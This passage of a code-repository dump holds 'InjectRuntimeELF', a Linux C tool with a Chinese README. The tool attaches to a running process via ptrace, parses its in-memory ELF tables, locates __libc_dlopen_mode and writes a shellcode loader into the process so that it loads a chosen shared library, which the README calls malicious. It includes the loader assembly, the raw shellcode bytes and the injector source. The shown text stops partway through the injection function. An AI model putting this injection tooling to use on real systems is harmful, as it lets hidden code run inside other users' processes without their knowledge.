├── .gitignore ├── InjectRuntimeELF ├── Makefile ├── README.md ├── Zz.h ├── cli.c ├── cli.h ├── elf-parse.c ├── elf-parse.h ├── example │ ├── __libc_dlopen_mode.asm │ ├── evil.c │ ├── readme │ ├── test_target │ └── test_target.c ├── inject ├── inject.c ├── utils.c └── utils.h ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Precompiled Headers 8 | *.gch 9 | *.pch 10 | 11 | # Libraries 12 | *.lib 13 | *.a 14 | *.la 15 | *.lo 16 | 17 | # Shared objects (inc. Windows DLLs) 18 | *.dll 19 | *.so 20 | *.so.* 21 | *.dylib 22 | 23 | # Executables 24 | *.exe 25 | *.out 26 | *.app 27 | *.i*86 28 | *.x86_64 29 | *.hex 30 | 31 | # Debug files 32 | *.dSYM/ 33 | *.su 34 | -------------------------------------------------------------------------------- /InjectRuntimeELF/Makefile: -------------------------------------------------------------------------------- 1 | SOURCES = inject.c elf-parse.c utils.c cli.c 2 | 3 | all: 4 | gcc -std=c99 -w -g -o inject $(SOURCES) 5 | -------------------------------------------------------------------------------- /InjectRuntimeELF/README.md: -------------------------------------------------------------------------------- 1 | ## InejctRuntimeELF 2 | 3 | Ref: [linux进程动态so注入](https://github.com/jmpews/dev2pwn/blob/master/linux%E8%BF%9B%E7%A8%8B%E5%8A%A8%E6%80%81so%E6%B3%A8%E5%85%A5.md) 4 | 5 | 实现恶意 `so` 注入, 采用直接解析 `ELF` 文件的方式, 更加具有通用性, 并以 `.gnu.hash` 进行符号查找, 适用于目前的 `ELF` 结构. 6 | 7 | 代码规范, 参考 `glibc-2.19`, 用 `ElfW` 宏进行 `32` 和 `64` 字长兼容. 8 | 9 | #### usage 10 | 11 | ``` 12 | ➜ InjectRuntimeELF git:(master) ✗ sudo ./inject 3631 /evilELF/InjectRuntimeELF/example/evil.so 13 | -------------------------------------------------------------- 14 | InjectRuntimeELF - (1.0.0) - by jmpews@gmail.com 15 | -------------------------------------------------------------- 16 | [*] attached to pid 3631. 17 | [*] dump runtime infomation 18 | [*] dumping header... 19 | [*] start symbol search '__libc_dlopen_mode'... 20 | [*] start search libaray: /lib/i386-linux-gnu/libc.so.6 21 | [*] start bucket search... 22 | [*] found '__libc_dlopen_mode' at 0xb7693ae0 23 | [+] entry point: 0x8048380 24 | [+] stopped 3631 at eip:0xb7729428, esp:0xbf93cffc 25 | [+] inject code done 3631 at eip:0x8048396 26 | [*] start symbol search 'evilfunc'... 27 | [*] start search libaray: /lib/i386-linux-gnu/libc.so.6 28 | [*] start search libaray: /lib/ld-linux.so.2 29 | [*] search in ld, no link_map. 30 | [*] start search libaray: /evilELF/InjectRuntimeELF/example/evil.so 31 | [*] start bucket search... 32 | [*] found 'evilfunc' at 0xb772353b 33 | [*] lib injection done! 34 | ``` 35 | 36 | 查看pid对应maps可以查看到已经加载了恶意的so 37 | 38 | ``` 39 | ➜ InjectRuntimeELF cat /proc/6380/maps 40 | 08048000-08049000 r-xp 00000000 00:1a 1097 /vagrant/evilELF/InjectRuntimeELF/example/test_target 41 | 08049000-0804a000 r--p 00000000 00:1a 1097 /vagrant/evilELF/InjectRuntimeELF/example/test_target 42 | 0804a000-0804b000 rw-p 00001000 00:1a 1097 /vagrant/evilELF/InjectRuntimeELF/example/test_target 43 | 09aef000-09b10000 rw-p 00000000 00:00 0 [heap] 44 | b756b000-b756c000 rw-p 00000000 00:00 0 45 | b756c000-b7714000 r-xp 00000000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so 46 | b7714000-b7715000 ---p 001a8000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so 47 | b7715000-b7717000 r--p 001a8000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so 48 | b7717000-b7718000 rw-p 001aa000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so 49 | b7718000-b771b000 rw-p 00000000 00:00 0 50 | b7720000-b7721000 r-xp 00000000 00:1a 1102 /vagrant/evilELF/InjectRuntimeELF/example/evil.so 51 | b7721000-b7722000 r--p 00000000 00:1a 1102 /vagrant/evilELF/InjectRuntimeELF/example/evil.so 52 | b7722000-b7723000 rw-p 00001000 00:1a 1102 /vagrant/evilELF/InjectRuntimeELF/example/evil.so 53 | b7723000-b7725000 rw-p 00000000 00:00 0 54 | b7725000-b7726000 r-xp 00000000 00:00 0 [vdso] 55 | b7726000-b7746000 r-xp 00000000 08:01 2153 /lib/i386-linux-gnu/ld-2.19.so 56 | b7746000-b7747000 r--p 0001f000 08:01 2153 /lib/i386-linux-gnu/ld-2.19.so 57 | b7747000-b7748000 rw-p 00020000 08:01 2153 /lib/i386-linux-gnu/ld-2.19.so 58 | bfe52000-bfe73000 rw-p 00000000 00:00 0 [stack] 59 | ``` 60 | 61 | #### 参考链接: 62 | 63 | [PWN之ELF解析](https://github.com/jmpews/dev2pwn/blob/master/PWN%E4%B9%8BELF%E8%A7%A3%E6%9E%90.md) 64 | 65 | [linux进程动态so注入](https://github.com/jmpews/dev2pwn/blob/master/linux%E8%BF%9B%E7%A8%8B%E5%8A%A8%E6%80%81so%E6%B3%A8%E5%85%A5.md) 66 | 67 | #### 利用点 68 | 69 | TODO 70 | 71 | -------------------------------------------------------------------------------- /InjectRuntimeELF/Zz.h: -------------------------------------------------------------------------------- 1 | #ifndef zz_h 2 | #define zz_h 3 | 4 | #define PROGRAM_NAME "InjectRuntimeELF" 5 | #define PROGRAM_VER "1.0.0" 6 | #define PROGRAM_AUTHOR "jmpews@gmail.com" 7 | 8 | #define DEBUG 1 9 | 10 | #define GLOBAL_DEBUG false 11 | #endif 12 | -------------------------------------------------------------------------------- /InjectRuntimeELF/cli.c: -------------------------------------------------------------------------------- 1 | #include "cli.h" 2 | #include "Zz.h" 3 | #include "elf-parse.h" 4 | #include "utils.h" 5 | 6 | #define _print_line_sep (printf("--------------------------------------------------------------\n")) 7 | 8 | void print_welcome() 9 | { 10 | printf(GRN); 11 | _print_line_sep; 12 | printf("%s - (%s) - by %s\n", PROGRAM_NAME, PROGRAM_VER, PROGRAM_AUTHOR); 13 | _print_line_sep; 14 | printf(RESET); 15 | } 16 | 17 | 18 | void print_usage() 19 | { 20 | printf(GRN); 21 | printf("usage: sudo ./inject "); 22 | printf(RESET); 23 | } -------------------------------------------------------------------------------- /InjectRuntimeELF/cli.h: -------------------------------------------------------------------------------- 1 | #ifndef cli_c 2 | #define cli_c 3 | 4 | #include "Zz.h" 5 | #include 6 | 7 | #define RED "\x1B[31m" 8 | #define GRN "\x1B[32m" 9 | #define YEL "\x1B[33m" 10 | #define BLU "\x1B[34m" 11 | #define MAG "\x1B[35m" 12 | #define CYN "\x1B[36m" 13 | #define WHT "\x1B[37m" 14 | #define RESET "\x1B[0m" 15 | 16 | //Important!!! 17 | // STDERR before STDOUT, because sync 18 | #define Xdebug(fmt, ...) \ 19 | do { if (GLOBAL_DEBUG) fprintf(stdout, RESET fmt, \ 20 | __VA_ARGS__); } while (0) 21 | #define Sdebug(MSG) Xdebug("%s", MSG) 22 | 23 | #define Xerror(fmt, ...) \ 24 | do { fprintf(stderr, RED "[!] " "%s:%d:%s(): " fmt RESET, __FILE__, \ 25 | __LINE__, __func__, __VA_ARGS__); } while (0) 26 | #define Serror(MSG) Xerror("%s", MSG) 27 | //#define xinfo(str) printf(GRN "[*] " "%s" "\n" RESET, str) 28 | //#define xinfo(X) {printf(RESET "[*] "); X; printf("\n");} 29 | #define Xinfo(fmt, ...) \ 30 | do { fprintf(stderr, RESET "[*] " fmt "\n", \ 31 | __VA_ARGS__); } while (0) 32 | #define Sinfo(MSG) Xinfo("%s", MSG) 33 | 34 | void print_welcome(); 35 | void print_usage(); 36 | 37 | #endif /* cli_hpp */ 38 | -------------------------------------------------------------------------------- /InjectRuntimeELF/elf-parse.c: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | #include "elf-parse.h" 3 | #include "cli.h" 4 | 5 | void set_pid(elf_rt_t *target, pid_t pid) 6 | { 7 | target->input.pid = pid; 8 | target->input.vmaddr = PROGRAM_LOAD_ADDRESS; 9 | } 10 | 11 | bool elf_rt_read(elf_rt_input_t input, long addr, void *data, long len) 12 | { 13 | return ptrace_read(input.pid, addr, data, len); 14 | } 15 | 16 | bool elf_rt_off_read(elf_rt_input_t input, long addr, void *data, long len) 17 | { 18 | return ptrace_read(input.pid, addr + input.vmaddr, data, len); 19 | } 20 | char * 21 | elf_rt_read_string(elf_rt_input_t input, long addr) 22 | { 23 | return ptrace_read_string(input.pid, addr); 24 | } 25 | 26 | void print_elf(elf_rt_t *target) 27 | { 28 | dyn_info_t *dyninfo = &(target->dyn); 29 | Sinfo("dump runtime infomation"); 30 | Sinfo("dumping header..."); 31 | Xdebug("dynamic: \n" 32 | "\tdynsym: 0x%x\n" 33 | "\tdynstr: 0x%x\n" 34 | "\tgnuhash: 0x%x\n" 35 | "\tnbuckets: %d\n" 36 | "\tnmaskwords: %d\n", 37 | dyninfo->dynsym_addr, dyninfo->dynstr_addr, dyninfo->gnuhash_addr, dyninfo->nbuckets, dyninfo->nmaskwords); 38 | } 39 | 40 | bool parse_elf(elf_rt_t *target) 41 | { 42 | parse_header(target); 43 | parse_segments(target); 44 | return true; 45 | } 46 | 47 | bool parse_header(elf_rt_t *target) 48 | { 49 | ElfW(Ehdr) *ehdr = malloc(sizeof(ElfW(Ehdr))); 50 | elf_rt_off_read(target->input, 0, ehdr, sizeof(ElfW(Ehdr))); 51 | target->elf.ehdr = ehdr; 52 | parse_program_headers(target); 53 | return true; 54 | } 55 | 56 | bool parse_program_headers(elf_rt_t *target) 57 | { 58 | ElfW(Ehdr) *ehdr = target->elf.ehdr; 59 | long phdr_off = 0; 60 | ElfW(Phdr) * phdrs, *tmp; 61 | unsigned int phnum = ehdr->e_phnum; 62 | phdr_off = ehdr->e_phoff; 63 | phdrs = tmp = (ElfW(Phdr) *)malloc(phnum * sizeof(ElfW(Phdr))); 64 | /*simple way */ 65 | /*elf_rt_off_read(target->input, phdr_off, phdrs, phnum * sizeof(ElfW(Phdr)) */ 66 | for (int i = 0; i < phnum; i++) 67 | { 68 | elf_rt_off_read(target->input, phdr_off, (long)tmp, sizeof(ElfW(Phdr))); 69 | phdr_off += sizeof(ElfW(Phdr)); 70 | tmp++; 71 | } 72 | target->elf.phdr = phdrs; 73 | return true; 74 | } 75 | 76 | bool parse_segments(elf_rt_t *target) 77 | { 78 | ElfW(Ehdr) *ehdr = target->elf.ehdr; 79 | ElfW(Phdr) *phdr = target->elf.phdr; 80 | unsigned int phnum = ehdr->e_phnum; 81 | for (int i = 0; i < phnum; i++) 82 | { 83 | switch (phdr->p_type) 84 | { 85 | case PT_DYNAMIC: 86 | parse_PT_DYNAMIC(&(target->dyn), target->input, phdr->p_vaddr); 87 | break; 88 | case PT_LOAD: 89 | break; 90 | default: 91 | break; 92 | } 93 | phdr++; 94 | } 95 | } 96 | 97 | bool parse_PT_DYNAMIC(dyn_info_t *dyninfo, elf_rt_input_t input, long dyn_addr) 98 | { 99 | ElfW(Dyn) dyn; 100 | unsigned long dtsoname_ndx = 0; 101 | elf_rt_read(input, dyn_addr, &dyn, sizeof(ElfW(Dyn))); 102 | while (dyn.d_tag) 103 | { 104 | switch (dyn.d_tag) 105 | { 106 | case DT_PLTGOT: 107 | parse_DT_PLTGOT(dyninfo, input, dyn.d_un.d_ptr); 108 | break; 109 | case DT_GNU_HASH: 110 | dyninfo->gnuhash_addr = dyn.d_un.d_ptr; 111 | parse_DT_GNU_HASH(dyninfo, input, dyn.d_un.d_ptr); 112 | break; 113 | case DT_SYMTAB: 114 | dyninfo->dynsym_addr = dyn.d_un.d_ptr; 115 | break; 116 | case DT_STRTAB: 117 | dyninfo->dynstr_addr = dyn.d_un.d_ptr; 118 | break; 119 | case DT_SONAME: 120 | dtsoname_ndx = dyn.d_un.d_val; 121 | break; 122 | default: 123 | break; 124 | } 125 | dyn_addr += sizeof(ElfW(Dyn)); 126 | elf_rt_read(input, dyn_addr, &dyn, sizeof(ElfW(Dyn))); 127 | } 128 | if (dtsoname_ndx) 129 | parse_DT_SONAME(dyninfo, input, dtsoname_ndx); 130 | return true; 131 | } 132 | 133 | bool parse_DT_SONAME(dyn_info_t *dyninfo, elf_rt_input_t input, unsigned long ndx) 134 | { 135 | long dynstr_addr = dyninfo->dynstr_addr + ndx; 136 | char *soname = elf_rt_read_string(input, dynstr_addr); 137 | dyninfo->soname = soname; 138 | return true; 139 | } 140 | 141 | bool parse_DT_GNU_HASH(dyn_info_t *dyninfo, elf_rt_input_t input, long gnuhash_addr) 142 | { 143 | unsigned int nbuckets, symndx, nmaskwords, shift2; 144 | unsigned int *gnuhash_header = malloc(4 * sizeof(unsigned int)); 145 | long hashbuckets_addr, hashvalues_addr; 146 | 147 | elf_rt_read(input, gnuhash_addr, gnuhash_header, 4 * sizeof(unsigned int)); 148 | dyninfo->nbuckets = gnuhash_header[0]; 149 | dyninfo->symndx = gnuhash_header[1]; 150 | dyninfo->nmaskwords = gnuhash_header[2]; 151 | dyninfo->shift2 = gnuhash_header[3]; 152 | 153 | dyninfo->bitmask_addr = gnuhash_addr + 4 * sizeof(unsigned int); 154 | dyninfo->hashbuckets_addr = dyninfo->bitmask_addr + dyninfo->nmaskwords * sizeof(long); 155 | dyninfo->hashvalues_addr = dyninfo->hashbuckets_addr + dyninfo->nbuckets * sizeof(unsigned int); 156 | return true; 157 | } 158 | 159 | bool parse_DT_PLTGOT(dyn_info_t *dyninfo, elf_rt_input_t input, long gotplt_addr) 160 | { 161 | long linkmap_public_addr; 162 | struct link_map_public *linkmap_public = malloc(sizeof(struct link_map_public)); 163 | 164 | /*now just read first link_map item, link_map locate at second of .gotplt */ 165 | elf_rt_read(input, gotplt_addr + sizeof(long), &linkmap_public_addr, sizeof(long)); 166 | if(linkmap_public_addr) 167 | elf_rt_read(input, linkmap_public_addr, linkmap_public, sizeof(struct link_map_public)); 168 | else 169 | { 170 | Sinfo("search in ld.so, no link_map."); 171 | } 172 | 173 | dyninfo->linkmap_public = linkmap_public; 174 | return true; 175 | } 176 | 177 | //eglibc-2.19/elf/dl-lookup.c 178 | unsigned long 179 | dl_new_hash(const char *s) 180 | { 181 | unsigned long h = 5381; 182 | unsigned char c; 183 | for (c = *s; c != '\0'; c = *++s) 184 | h = h * 33 + c; 185 | return h & 0xffffffff; 186 | } 187 | 188 | /*seach symbol name in elf(so) */ 189 | ElfW(Sym) * 190 | find_symbol_in_lib(dyn_info_t *dyldinfo, elf_rt_input_t input, char *sym_name) 191 | { 192 | unsigned long c; 193 | unsigned int new_hash, h2; 194 | unsigned int hb1, hb2; 195 | unsigned long n; 196 | Elf_Symndx symndx; 197 | long bitmask_word; 198 | long addr; 199 | long sym_addr, hash_addr; 200 | char *symstr; 201 | ElfW(Sym) *sym = malloc(sizeof(ElfW(Sym))); 202 | 203 | new_hash = dl_new_hash(sym_name); 204 | 205 | /*new-hash % __ELF_NATIVE_CLASS */ 206 | hb1 = new_hash & (__ELF_NATIVE_CLASS - 1); 207 | hb2 = (new_hash >> dyldinfo->shift2) & (__ELF_NATIVE_CLASS - 1); 208 | 209 | Xdebug("[*] start gnu hash search:\n\tnew_hash: 0x%x(%u)\n", sym_name, new_hash, new_hash); 210 | 211 | /*ELFCLASS size */ 212 | //__ELF_NATIVE_CLASS 213 | 214 | /* nmaskwords must be power of 2, so that allows the modulo operation */ 215 | /*((new_hash / __ELF_NATIVE_CLASS) % maskwords) */ 216 | n = (new_hash / __ELF_NATIVE_CLASS) & (dyldinfo->nmaskwords - 1); 217 | Xdebug("\tn: %lu\n", n); 218 | 219 | /*Use hash to quickly determine whether there is the symbol we need */ 220 | addr = dyldinfo->bitmask_addr + n * sizeof(long); 221 | elf_rt_read(input, addr, &bitmask_word, sizeof(long)); 222 | /*eglibc-2.19/elf/dl-loopup.c:236 */ 223 | /*https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections */ 224 | /*different method same result */ 225 | if (((bitmask_word >> hb1) & (bitmask_word >> hb2) & 1) == 0) 226 | return NULL; 227 | 228 | /*The first index of `.dynsym` to the bucket .dynsym */ 229 | addr = dyldinfo->hashbuckets_addr + (new_hash % dyldinfo->nbuckets) * sizeof(Elf_Symndx); 230 | elf_rt_read(input, addr, &symndx, sizeof(unsigned int)); 231 | Xdebug("\thash buckets index: 0x%x(%u), first dynsym index: 0x%x(%u)\n", (new_hash % dyldinfo->nbuckets), (new_hash % dyldinfo->nbuckets), symndx, symndx); 232 | 233 | if (symndx == 0) 234 | return NULL; 235 | 236 | sym_addr = dyldinfo->dynsym_addr + symndx * sizeof(ElfW(Sym)); 237 | hash_addr = dyldinfo->hashvalues_addr + (symndx - dyldinfo->symndx) * sizeof(unsigned int); 238 | 239 | Sinfo("start bucket search..."); 240 | do 241 | { 242 | elf_rt_read(input, hash_addr, &h2, sizeof(unsigned int)); 243 | Xdebug("\th2: 0x%x(%u)\n", h2, h2); 244 | /*1. hash value same */ 245 | if (((h2 ^ new_hash) >> 1) == 0) 246 | { 247 | 248 | sym_addr = dyldinfo->dynsym_addr + ((dyldinfo->symndx + (hash_addr - dyldinfo->hashvalues_addr) / sizeof(Elf32_Word)) * sizeof(ElfW(Sym))); 249 | /*read ElfW(Sym) */ 250 | elf_rt_read(input, sym_addr, sym, sizeof(ElfW(Sym))); 251 | addr = dyldinfo->dynstr_addr + sym->st_name; 252 | /*read string */ 253 | symstr = elf_rt_read_string(input, addr); 254 | 255 | /*2. name same */ 256 | if (symstr && (!strcmp(sym_name, symstr))) 257 | { 258 | free(symstr); 259 | return sym; 260 | } 261 | free(symstr); 262 | } 263 | hash_addr += sizeof(unsigned int); 264 | } while ((h2 & 1u) == 0); // search in same bucket 265 | return NULL; 266 | } 267 | 268 | long find_symbol(elf_rt_t *target, char *sym_name, char *lib_name) 269 | { 270 | struct link_map_public *linkmap_addr; 271 | struct link_map_public linkmap; 272 | long sym_addr = 0; 273 | char *soname; 274 | ElfW(Sym) * sym; 275 | dyn_info_t dyninfo; 276 | 277 | Xinfo("start symbol search \'%s\'...", sym_name); 278 | 279 | linkmap_addr = target->dyn.linkmap_public->l_next; 280 | 281 | while (!sym_addr && linkmap_addr) 282 | { 283 | elf_rt_read(target->input, (long)linkmap_addr, &linkmap, sizeof(struct link_map_public)); 284 | linkmap_addr = linkmap.l_next; 285 | soname = elf_rt_read_string(target->input, (long)linkmap.l_name); 286 | if (!soname || !soname[0]) 287 | continue; 288 | 289 | /*compare libname if its not NULL */ 290 | if (lib_name) 291 | if (strcmp(lib_name, soname) != 0) 292 | continue; 293 | 294 | Xinfo("start search libaray: %s", soname); 295 | parse_PT_DYNAMIC(&dyninfo, target->input, linkmap.l_ld); 296 | sym = find_symbol_in_lib(&dyninfo, target->input, sym_name); 297 | if (sym) 298 | { 299 | sym_addr = sym->st_value + linkmap.l_addr; 300 | Xinfo("found \'%s\' at %p", sym_name, sym_addr); 301 | return sym_addr; 302 | } 303 | } 304 | 305 | Xinfo("not found \'%s\'", sym_name); 306 | return 0; 307 | } 308 | -------------------------------------------------------------------------------- /InjectRuntimeELF/elf-parse.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | #include // bool type 7 | 8 | // #define __ELF_NATIVE_CLASS 32 9 | 10 | // #define ElfW(type) _ElfW (Elf, __ELF_NATIVE_CLASS, type) 11 | // #define _ElfW(e,w,t) _ElfW_1 (e, w, _##t) 12 | // #define _ElfW_1(e,w,t) e##w##t 13 | 14 | // eglibc-2.19/sysdeps/generic/ldsodefs.h 15 | // #define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr) 16 | // #define LOOKUP_VALUE_ADDRESS(map) ((map) ? (map)->l_addr : 0) 17 | // #define DL_SYMBOL_ADDRESS(map, ref) \ 18 | // (void *) (LOOKUP_VALUE_ADDRESS (map) + ref->st_value) 19 | 20 | // echo | gcc -E -dM - | grep 64 21 | // ld --verbose 22 | #ifdef __x86_64__ 23 | #define PROGRAM_LOAD_ADDRESS 0x400000 24 | #else 25 | #define PROGRAM_LOAD_ADDRESS 0x08048000 26 | #endif 27 | 28 | #define link_map_public link_map 29 | #include 30 | #undef link_map 31 | 32 | // linker's link_map 33 | typedef struct dyn_info 34 | { 35 | // pltgot 36 | struct link_map_public *linkmap_public; 37 | 38 | // section 39 | long dynsym_addr; 40 | long dynstr_addr; 41 | long gnuhash_addr; 42 | 43 | // .gnu.hash 44 | unsigned int nbuckets; 45 | unsigned int symndx; 46 | unsigned int nmaskwords; 47 | unsigned int shift2; 48 | long bitmask_addr; 49 | long hashbuckets_addr; 50 | long hashvalues_addr; 51 | 52 | // so name; 53 | char *soname; 54 | } dyn_info_t; 55 | 56 | // read input 57 | typedef struct elf_rt_input 58 | { 59 | long vmaddr; 60 | pid_t pid; 61 | } elf_rt_input_t; 62 | 63 | typedef struct elf_arch 64 | { 65 | ElfW(Ehdr) * ehdr; 66 | ElfW(Phdr) * phdr; 67 | } elf_arch_t; 68 | 69 | // runtime elf file 70 | typedef struct elf_rt 71 | { 72 | struct elf_rt_input input; 73 | struct elf_arch elf; 74 | struct dyn_info dyn; 75 | } elf_rt_t; 76 | 77 | long find_symbol(elf_rt_t *target, char *sym_name, char *lib_name); 78 | 79 | void set_pid(elf_rt_t *target, pid_t pid); 80 | 81 | bool elf_rt_read(elf_rt_input_t input, long addr, void *data, long len); 82 | 83 | bool elf_rt_off_read(elf_rt_input_t input, long addr, void *data, long len); 84 | 85 | char * 86 | elf_rt_read_string(elf_rt_input_t input, long addr); 87 | 88 | bool parse_elf(elf_rt_t *target); 89 | 90 | bool parse_header(elf_rt_t *target); 91 | 92 | bool parse_program_headers(elf_rt_t *target); 93 | 94 | bool parse_segments(elf_rt_t *target); 95 | 96 | bool parse_PT_DYNAMIC(dyn_info_t *dyninfo, elf_rt_input_t input, long dyn_addr); 97 | 98 | bool parse_DT_SONAME(dyn_info_t *dyninfo, elf_rt_input_t input, unsigned long ndx); 99 | 100 | bool parse_DT_GNU_HASH(dyn_info_t *dyninfo, elf_rt_input_t input, long gnuhash_addr); 101 | 102 | bool parse_DT_PLTGOT(dyn_info_t *dyninfo, elf_rt_input_t input, long gotplt_addr); 103 | 104 | unsigned long 105 | dl_new_hash(const char *s); 106 | 107 | ElfW(Sym) * 108 | find_symbol_in_lib(dyn_info_t *dyldinfo, elf_rt_input_t input, char *sym_name); 109 | 110 | void print_elf(elf_rt_t *target); 111 | -------------------------------------------------------------------------------- /InjectRuntimeELF/example/__libc_dlopen_mode.asm: -------------------------------------------------------------------------------- 1 | nop 2 | _start: jmp string 3 | begin: pop eax ; char *file 4 | mov edx, 0x1 ; int mode 5 | push edx ; 6 | push eax ; 7 | mov ebx, 0x12345678 ; addr __libc_dlopen_mode() 8 | call ebx ; call __libc_dlopen_mode() 9 | add esp, 0x8 ; resotre stack 10 | int3 ; breakpoint 11 | 12 | string: call begin 13 | db "/tmp/ourlibby.so",0x00 14 | -------------------------------------------------------------------------------- /InjectRuntimeELF/example/evil.c: -------------------------------------------------------------------------------- 1 | #include 2 | void evilfunc() 3 | { 4 | printf("hello world\n"); 5 | } 6 | -------------------------------------------------------------------------------- /InjectRuntimeELF/example/readme: -------------------------------------------------------------------------------- 1 | 2 | #### shellcode 3 | 4 | ``` 5 | __libc_dlopen_mode.asm 6 | nasm -f elf32 -o __libc_dlopen_mode.o __libc_dlopen_mode.asm 7 | objdump -d __libc_dlopen_mode.o 8 | ``` 9 | 10 | #### evil so 11 | 12 | ``` 13 | evil.c 14 | gcc -w -fPIC -shared -o evil.so evil.c 15 | ``` 16 | 17 | #### target 18 | 19 | ``` 20 | target_target.c 21 | gcc -o test_target test_target.c 22 | ``` 23 | -------------------------------------------------------------------------------- /InjectRuntimeELF/example/test_target: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/evilELF/d5fdbc27ccd27b6e994e333a8a26f31fc9d33cd0/InjectRuntimeELF/example/test_target -------------------------------------------------------------------------------- /InjectRuntimeELF/example/test_target.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | int main() { 4 | printf("pid: %d\n", getpid()); 5 | while(1) 6 | sleep(3); 7 | } 8 | -------------------------------------------------------------------------------- /InjectRuntimeELF/inject: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/evilELF/d5fdbc27ccd27b6e994e333a8a26f31fc9d33cd0/InjectRuntimeELF/inject -------------------------------------------------------------------------------- /InjectRuntimeELF/inject.c: -------------------------------------------------------------------------------- 1 | #include "elf-parse.h" 2 | #include "utils.h" 3 | #include "cli.h" 4 | 5 | int main(int argc, char *argv[]) 6 | { 7 | int pid; 8 | struct user_regs_struct regz; 9 | long sym_addr; 10 | long dlopen_addr; 11 | ElfW(Sym) * sym; 12 | 13 | print_welcome(); 14 | 15 | if (argc < 3) { 16 | print_usage(); 17 | exit(-1); 18 | } 19 | 20 | if(open(argv[2], O_RDONLY) < 0) { 21 | Serror("error: no such file."); 22 | exit(-1); 23 | } 24 | 25 | pid = atoi(argv[1]); 26 | 27 | ptrace_attach(pid); 28 | Xinfo("attached to pid %d.", pid); 29 | elf_rt_t target; 30 | set_pid(&target, pid); 31 | parse_elf(&target); 32 | print_elf(&target); 33 | 34 | if (!(dlopen_addr = find_symbol(&target, "__libc_dlopen_mode", NULL))) 35 | { 36 | Serror("error! couldn't find __libc_dlopen_mode()!"); 37 | exit(-1); 38 | } 39 | 40 | inject_code(pid, argv[2], dlopen_addr, target.elf.ehdr->e_entry); 41 | 42 | if(!( find_symbol(&target, "evilfunc" , NULL))) { 43 | Serror("inject failed."); 44 | exit(-1); 45 | } 46 | Sinfo("lib injection done!"); 47 | ptrace_detach(pid); 48 | } -------------------------------------------------------------------------------- /InjectRuntimeELF/utils.c: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | 3 | unsigned char 4 | soloader[] = 5 | "\x90" 6 | "\xeb\x13" 7 | "\x58" 8 | "\xba\x01\x00\x00\x00" 9 | "\x52" 10 | "\x50" 11 | "\xbb\x03\x00\x00\x00" 12 | "\xff\xd3" 13 | "\x83\xc4\x08" 14 | "\xcc" 15 | "\xe8\xe8\xff\xff\xff"; 16 | 17 | void ptrace_attach(int pid) 18 | { 19 | if ((ptrace(PTRACE_ATTACH, pid, NULL, NULL)) < 0) 20 | { 21 | perror("ptrace_attach"); 22 | exit(-1); 23 | } 24 | 25 | waitpid(pid, NULL, WUNTRACED); 26 | } 27 | 28 | void ptrace_cont(int pid) 29 | { 30 | int s; 31 | 32 | if ((ptrace(PTRACE_CONT, pid, NULL, NULL)) < 0) 33 | { 34 | perror("ptrace_cont"); 35 | exit(-1); 36 | } 37 | 38 | while (!WIFSTOPPED(s)) 39 | waitpid(pid, &s, WNOHANG); 40 | } 41 | 42 | void ptrace_detach(int pid) 43 | { 44 | if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) 45 | { 46 | perror("ptrace_detach"); 47 | exit(-1); 48 | } 49 | } 50 | 51 | bool ptrace_read(int pid, unsigned long addr, void *data, unsigned int len) 52 | { 53 | int bytesRead = 0; 54 | int i = 0; 55 | long word = 0; 56 | unsigned long *ptr = (unsigned long *)data; 57 | 58 | while (bytesRead < len) 59 | { 60 | word = ptrace(PTRACE_PEEKTEXT, pid, addr + bytesRead, NULL); 61 | if (word == -1) 62 | { 63 | fprintf(stderr, "ptrace(PTRACE_PEEKTEXT) failed\n"); 64 | return false; 65 | } 66 | bytesRead += sizeof(long); 67 | if (bytesRead > len) 68 | { 69 | memcpy(ptr + i, &word, sizeof(long) - (bytesRead - len)); 70 | break; 71 | } 72 | ptr[i++] = word; 73 | } 74 | 75 | return true; 76 | } 77 | 78 | long 79 | ptrace_memory_search(int pid, long start, long end, void *data, long len) 80 | { 81 | long addr = start; 82 | char *buf = (char *)malloc(len); 83 | while(addr < end) 84 | { 85 | if(ptrace_read(pid, addr, buf, len)) 86 | if(!memcmp(buf, data, len)) 87 | return addr; 88 | addr += len; 89 | } 90 | return 0; 91 | } 92 | 93 | char * 94 | ptrace_read_string(int pid, unsigned long start) 95 | { 96 | char x = '\0'; 97 | long end; 98 | char *str = NULL; 99 | end = ptrace_memory_search(pid, start, start+0x1000, &x, 1); 100 | if(!end) 101 | return NULL; 102 | str = (char *)malloc(end-start); 103 | if(ptrace_read(pid, start, str, end-start)) 104 | return str; 105 | return NULL; 106 | } 107 | 108 | void ptrace_write(int pid, unsigned long addr, void *vptr, int len) 109 | { 110 | int byteCount = 0; 111 | long word = 0; 112 | 113 | while (byteCount < len) 114 | { 115 | memcpy(&word, vptr + byteCount, sizeof(word)); 116 | word = ptrace(PTRACE_POKETEXT, pid, addr + byteCount, word); 117 | if (word == -1) 118 | { 119 | fprintf(stderr, "ptrace(PTRACE_POKETEXT) failed\n"); 120 | exit(1); 121 | } 122 | byteCount += sizeof(word); 123 | } 124 | } 125 | 126 | void setaddr(unsigned char *buf, ElfW(Addr) addr) 127 | { 128 | *(buf) = addr; 129 | *(buf + 1) = addr >> 8; 130 | *(buf + 2) = addr >> 16; 131 | *(buf + 3) = addr >> 24; 132 | } 133 | 134 | void 135 | inject_code(int pid, char *evilso, long dlopen_addr, long inject_position) { 136 | struct user_regs_struct regz, regzbak; 137 | unsigned long len; 138 | unsigned char *backup = NULL; 139 | unsigned char *loader = NULL; 140 | 141 | setaddr(soloader + 12, dlopen_addr); 142 | 143 | printf("[+] entry point: 0x%x\n", inject_position); 144 | 145 | len = sizeof(soloader) + strlen(evilso); 146 | loader = malloc(sizeof(char) *len); 147 | memcpy(loader, soloader, sizeof(soloader)); 148 | memcpy(loader+sizeof(soloader) - 1 , 